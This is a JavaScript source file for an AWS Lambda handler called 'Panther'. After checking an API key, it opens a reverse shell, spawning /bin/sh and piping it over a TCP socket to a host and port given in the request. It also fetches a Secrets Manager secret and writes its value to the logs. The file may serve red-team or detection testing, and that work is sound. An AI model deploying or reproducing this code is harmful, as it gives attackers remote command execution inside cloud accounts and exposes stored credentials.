/
handler.js
135 lines (114 loc) · 3.14 KB
/
handler.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
/* References
https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/
https://stackoverflow.com/a/33292942
*/
const net = require('net');
const cp = require('child_process');
const aws = require('aws-sdk');
const secrets = new aws.SecretsManager();
function isApiTokenValid(token) {
const apiToken = process.env.PANTHER_API_KEY;
return token == apiToken
}
// Logging util
function writeLog(id, message) {
const event = {
EventId: id,
Message: message,
};
// eslint-disable-next-line no-console
console.log(JSON.stringify(event));
}
// Secrets management access
async function getSecret() {
const name = process.env.PANTHER_SECRET_ARN;
if (!name)
return "";
const params = { SecretId: name };
const response = await secrets.getSecretValue(params).promise();
return response.SecretString;
}
module.exports.panther = async (event) => {
writeLog(1, 'Startup: The Panther is running.');
//validate API token
if (!isApiTokenValid(event.headers["x-api-key"])) {
writeLog(2, 'Invalid API key.');
return {
statusCode: 403,
body: JSON.stringify({
message: 'Forbidden',
}),
};
}
try {
// Read basic secret from secrets manager to produce normal log activity
const secret = await getSecret();
// NOTE: DON'T DO THIS IN REAL LIFE. BAD IDEA TO LOG SECRETS
// DEBUG ONLY: Make sure it found the value.
writeLog(8, `Secret value: ${secret}`);
} catch (err) {
writeLog(4, err);
writeLog(8, 'Skipping secret read routine.');
}
let host;
let port;
if (event.queryStringParameters) {
host = event.queryStringParameters.host;
port = event.queryStringParameters.port;
}
if (!host || !port) {
writeLog(2, 'Invalid request: Missing host or port parameter.');
return {
statusCode: 400,
body: JSON.stringify({
message: 'Must provide the host and port for the target TCP server as query parameters.',
}),
};
}
const portNum = parseInt(port, 10);
const sh = cp.spawn('/bin/sh', []);
const client = new net.Socket();
try {
await new Promise((resolve, reject) => {
client.connect(portNum, host, () => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
client.on('close', (hadError) => {
if (hadError) {
reject(new Error('Transmission error.'));
} else {
resolve();
}
});
client.on('end', () => {
writeLog(5, 'Shutdown: The Panther is tired.');
resolve();
});
client.on('error', (err) => {
writeLog(4, err);
reject(err);
});
client.on('timeout', () => {
writeLog(3, 'Timeout: Function timeout occurred.');
reject(new Error('Socket timeout.'));
});
});
writeLog(5, 'Shutdown: The Panther is tired.');
return {
statusCode: 400,
body: JSON.stringify({
message: 'Connection terminated from client.',
}),
};
} catch (err) {
writeLog(4, err);
return {
statusCode: 500,
body: JSON.stringify({
message: 'Connection terminated from client.',
}),
};
}
};